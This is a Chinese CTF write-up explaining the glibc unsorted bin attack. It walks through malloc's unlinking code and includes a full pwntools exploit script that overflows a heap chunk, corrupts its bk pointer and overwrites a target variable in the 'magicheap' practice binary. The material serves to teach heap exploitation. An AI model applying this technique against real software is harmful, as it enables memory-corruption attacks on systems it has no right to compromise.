unsorted bin 基本简介:
1.它是一种双向链表的形式, 采用FILO的遍历形式。
2.我们知道malloc的时候最先寻找fastbin, 但是当fastbin里面没有合适的chunk的时候,它会去寻找small bin 如果还是没有的话,就会尝试从unsorted bin里面去寻找chunk。
相关源码解释:
/* remove from unsorted list */
if (__glibc_unlikely (bck->fd != victim))
malloc_printerr ("malloc(): corrupted unsorted chunks 3");
unsorted_chunks (av)->bk = bck;
bck->fd = unsorted_chunks (av);
通过上面的bck->fd = unsorted_chunks (av);我们可以知道, 如果把一个unsorted bin被取出来的话 , 会将bck->fd 的位置的内容写入到本unsorted bin的位置 ,那么我们就需要控制bk的值 , 来实现任意地址写,其实原理有点类似于unlink操作,但是由于最后的目标地址会被写成main_arean里面的内容,所以任意写的值我们无法控制。
这其实就是把一个unsorted chunk从链表里拿出来的时候,把fd部分写成了链表里面的unsorted bin 的值。
- victim = unsorted_chunks(av)->bk=p
- bck = victim->bk=p->bk = target addr-16
- unsorted_chunks(av)->bk = bck=target addr-16
- bck->fd = *(target addr -16+16) = unsorted_chunks(av);
这样的话就可以实现上述功能。
ctf-wiki里面有一个题目,说明了unsorted bin attack的功能之一,题目很简单,首先是一个堆溢出,然后我们就可以修改unsorted bin attack的bk,然后把magic处修改为一个很大的值,实现利用。
#coding=utf-8
from pwn import *
from LibcSearcher import LibcSearcher
exec_binary = "./magicheap"
libcversion = '2.23'
local = 1
context.binary = exec_binary
context.log_level = "debug"
elf = ELF(exec_binary,checksec=False)
if local:
r = process(exec_binary)
if context.arch == "i386":
libc = ELF("/glibc/x86/{}/lib/libc-{}.so".format(libcversion,libcversion),checksec=False)
elif context.arch == "amd64":
libc = ELF("/glibc/x64/{}/lib/libc-{}.so".format(libcversion,libcversion),checksec=False)
else:
r = remote("")
def get_libc(addr,addr_name):
global libc,libcbase
libc = LibcSearcher(str(addr_name),addr)
libcbase = addr - libc.dump(addr_name)
def get_base(r):
text_base = r.libs()[r._cwd+r.argv[0].strip('.')]
for key in r.libs():
if "libc.so.6" in key:
return text_base,r.libs()[key]
def debug(addr):
text_base,libc_base = get_base(r)
break_point = "set $text_base="+str(text_base)+'\n'+"set $libc_base="+str(libc_base)+'\n'
break_point+="b *" + str(addr) + "\nc"
gdb.attach(r,break_point)
def confirm(address):
n = globals()
for key,value in n.items():
if value == address:
return success(key+" ==> "+hex(address))
def malloc(size,contexe):
r.recvuntil("Your choice :")
r.sendline("1")
r.recvuntil("Heap : ")
r.sendline(str(size))
r.recvuntil("heap:")
r.send(contexe)
def free(idx):
r.recvuntil("Your choice :")
r.sendline("3")
r.recvuntil("Index :")
r.sendline(str(idx))
def edit(idx,size,context):
r.recvuntil("Your choice :")
r.sendline("2")
r.recvuntil("Index :")
r.sendline(str(idx))
r.recvuntil("Heap : ")
r.sendline(str(size))
r.recvuntil("heap : ")
r.send(context)
malloc(0x80,"aa") #0
malloc(0x80,"aa") #1
malloc(0x80,"aa") #2
free(1)
edit(0,0x100,"a"*0x80 + p64(0) + p64(0x90) + p64(0) +p64(0x0000000006020C0-0x10))
malloc(0x80,"a")
gdb.attach(r)
r.recvuntil("Your choice :")
r.sendline("4869")
r.interactive()